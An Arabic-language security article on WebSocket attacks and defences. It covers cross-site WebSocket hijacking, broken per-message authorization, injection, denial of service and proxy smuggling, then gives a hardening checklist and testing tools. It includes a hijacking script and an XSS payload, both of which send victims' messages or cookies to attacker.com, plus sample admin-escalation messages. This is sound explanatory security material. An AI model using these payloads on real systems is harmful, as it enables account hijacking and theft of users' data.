أمان WebSocket — الهجمات وتقنيات التحصين

أصبح بروتوكول WebSocket ركيزة أساسية لتطبيقات الويب التفاعلية الحديثة التي تعمل بالزمن الفعلي — مثل منصات المحادثة الفورية، وأدوات العمل التشاركي، واللوحات المالية الحية، وألعاب الويب متعددة اللاعبين. ومع ذلك، فإن الطبيعة المستمرة وثنائية الاتجاه لهذا البروتوكول تقدم سطح هجوم أمني مميزاً يختلف جذرياً عن بروتوكول HTTP عديم الحالة. يناقش هذا المقال أبرز الفئات الهجومية المستهدفة لـ WebSocket، وسيناريوهات الاستغلال العملية، وقائمة شاملة لتحصين التطبيقات.

١. مقارنة بين WebSocket و HTTP من المنظور الأمني

يبدأ اتصال WebSocket بطلب مصافحة وترقية من خلال HTTP عادي :

GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://example.com
Cookie: session=abc123xyz

وعند موافقة الخادم، يجيب برمز التبديل 101 Switching Protocols :

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

تترتب على هذا التحول تداعيات أمنية بالغة الأهمية :

عدم انطباق سياسة CORS التقليدية : لا تخضع مصافحة WebSocket لضوابط سياسة نفس الأصل (SOP) بالطريقة ذاتها كطلبات Fetch أو XHR. يرسل المتصفح المصافحة لأي نطاق دون طلب مسبق (preflight).
إرسال ملفات تعريف الارتباط تلقائياً : يُرسل المتصفح تلقائياً ملفات الكوكيز للجلسة، مما يفتح الباب أمام هجمات التزييف عبر المواقع.
حالة اتصال مستمرة : بخلاف الطلبات الفردية، يظل الاتصال مفتوحاً ومحتفظاً بحالته، مما يجعل أي تسلل مستمراً طوال عمر الاتصال.
غياب المصادقة المدمجة لكل رسالة : لا تحتوي الرسائل المتداولة بعد المصافحة على ترويسات مصادقة افتراضية.

٢. الهجوم الأول — اختطاف WebSocket عبر المواقع (CSWSH)

يُعد اختطاف WebSocket عبر المواقع (Cross-Site WebSocket Hijacking - CSWSH) المقابل المباشر لهجمات CSRF في بيئة WebSocket. إذا كان الخادم يعتمد حصراً على ملفات تعريف الارتباط دون التحقق من ترويسة Origin، يمكن لصفحة خبيثة فتح اتصال باسم المستخدم الضحية وسحب بياناته.

سيناريو الهجوم

يسجل المستخدم دخوله إلى chat.example.com، ثم يُستدرج لزيارة موقع خبيث attacker.com :

<!-- كود يتم تنفيذه في متصفح الضحية عبر attacker.com -->
<script>
var ws = new WebSocket('wss://chat.example.com/ws');

ws.onopen = function() {
  // طلب سجل المحادثات السرية
  ws.send(JSON.stringify({"action": "getHistory", "room": "private"}));
};

ws.onmessage = function(msg) {
  // تسريب الرسائل إلى خادم المهاجم
  fetch('https://attacker.com/collect', {
    method: 'POST',
    body: msg.data
  });
};
</script>

سبل الحماية والدفاع

التحقق الصارم من ترويسة Origin في الخادم ومقارنتها بقائمة بيضاء حصرية للمواقع المسموح بها.
اشتراط تقديم رمز حماية مضاد للتزييف (CSRF Token) في أول رسالة تُرسل عبر القناة قبل معالجة أي طلبات.
استخدام رموز مصادقة مؤقتة (مثل JWT قصيرة الأجل) ممررة في رابط الاتصال بدلاً من الاعتماد المطلق على الكوكيز.

٣. الهجوم الثاني — تجاوز آليات المصادقة والتفويض

٣.١ استغلال الجلسات غير الملغاة

في كثير من الأنظمة، عند قيام المستخدم بتسجيل الخروج من حسابه، يتم إبطال جلسة HTTP، بينما تظل اتصالات WebSocket القائمة نشطة وتستمر في استلام الأحداث، نظراً لغياب آلية ربط مركزية تُنهي القنوات المفتوحة فور إغلاق الجلسة.

٣.٢ غياب التفويض على مستوى الرسالة

قد يتحقق الخادم من هوية المستخدم أثناء المصافحة الأولى فقط، ويهمل التحقق من الصلاحيات مع كل رسالة واردة. على سبيل المثال :

{"action": "deleteUser", "userId": 42}
{"action": "updateRole", "userId": 5, "role": "admin"}

إذا لم يتم التحقق من دور المستخدم وصلاحياته قبل تنفيذ الإجراء، يمكن للمستخدم العادي إرسال أوامر إدارية عبر اتصاله المصادق عليه.

٤. الهجوم الثالث — هجمات الحقن عبر رسائل WebSocket

٤.١ ثغرات XSS المخزنة

تقوم تطبيقات الدردشة بإعادة بث الرسائل لجميع المشاركين المتصلين. إذا كانت الرسائل تتضمن كوداً خبيثاً ويتم عرضها دون تعقيم :

{"message": "<img src=x onerror='fetch(\"https://attacker.com/xss?c=\"+document.cookie)'>"}

سيؤدي ذلك إلى تنفيذ السكربت في متصفحات جميع المستخدمين المتصلين في نفس اللحظة.

٤.٢ ثغرات حقن SQL و NoSQL

إذا تم دمج محتوى حقول رسائل WebSocket مباشرة في استعلامات قواعد البيانات دون استخدام المعاملات المعلمة (Parameterized Queries)، تظل الأنظمة عرضة لكافة أشكال الحقن التدميرية.

٥. الهجوم الرابع — هجمات حجب الخدمة واستنزاف الموارد

تفتح طبيعة الاتصال الدائم الباب أمام سيناريوهات حجب خدمة فريدة :

إغراق الاتصالات (Connection Flood) : فتح آلاف الاتصالات المتزامنة دون إرسال بيانات لاستهلاك موارد الخادم وواصفات الملفات ومساحة الذاكرة.
إغراق الرسائل الضخمة (Message Flood) : إرسال رسائل ذات أحجام ضخمة متتالية لإشباع المعالجة وسعة تخزين الرسائل.

٦. الهجوم الخامس — تهريب رسائل WebSocket عبر وكلاء HTTP/1.1

عند مرور الاتصالات عبر خوادم وسيطة وموزعات أحمال لا تتطابق إعداداتها تماماً مع خوادم الواجهة الخلفية، يمكن استغلال ترويسات التجزئة لتنفيذ تهريب للطلبات أو تجاوز جدران الحماية WAF التي تعجز عن فحص إطارات WebSocket.

٧. قائمة تدقيق شاملة للتحصين

أمان قنوات النقل

استخدام بروتوكول wss:// المشفر عبر TLS حصراً، ومنع استخدام ws:// غير المشفر في بيئات الإنتاج.

التحقق من المصادقة والمصافحة

التحقق الدقيق من ترويسة Origin ورفض أي مصافحة لا تنتمي لقائمة النطاقات المصرح بها.
طلب رموز مصادقة ذات مدة صلاحية قصيرة في رسالة البدء.

إدارة الجلسات والتحكم في الرسائل

إلغاء وإغلاق كافة قنوات WebSocket فور تسجيل خروج المستخدم أو تعديل صلاحياته.
تطبيق فحوصات التخويل والصلاحيات على كل رسالة واردة بصورة مستقلة.
وضع حد أقصى لحجم الرسالة (مثل 64 كيلوبايت) وتحديد وتيرة الرسائل المسموحة لكل اتصال (Rate Limiting).
تعقيم وترميز كافة البيانات المتبادلة قبل عرضها في المتصفحات.

٨. منهجية الاختبار والتدقيق

يتطلب تقييم أمان WebSocket أدوات متخصصة :

Burp Suite (تبويب WebSockets) : لاعتراض وتعديل الرسائل وإعادة إرسالها لاختبار سيناريوهات الحقن والتفويض.
أداة wscat : للاتصال السريع عبر سطر الأوامر واختبار استجابة الخادم لترويسات مخصصة.
اختبار CSWSH التجريبي : بإنشاء صفحة ويب تجريبية من أصل مختلف للتحقق من رفض الخادم للاتصال.

الخلاصة

يوفر بروتوكول WebSocket تجربة فائقة السرعة للتطبيقات التفاعلية، غير أنه يستلزم مقاربة أمنية شاملة تتجاوز الافتراضات التقليدية لبروتوكول HTTP. يمثل التحقق الصارم من ترويسة Origin، والمصادقة المبنية على الرموز، والتفويض المستمر لكل رسالة خطوط الدفاع الأساسية لضمان سلامة البنية التحتية وحماية بيانات المستخدمين.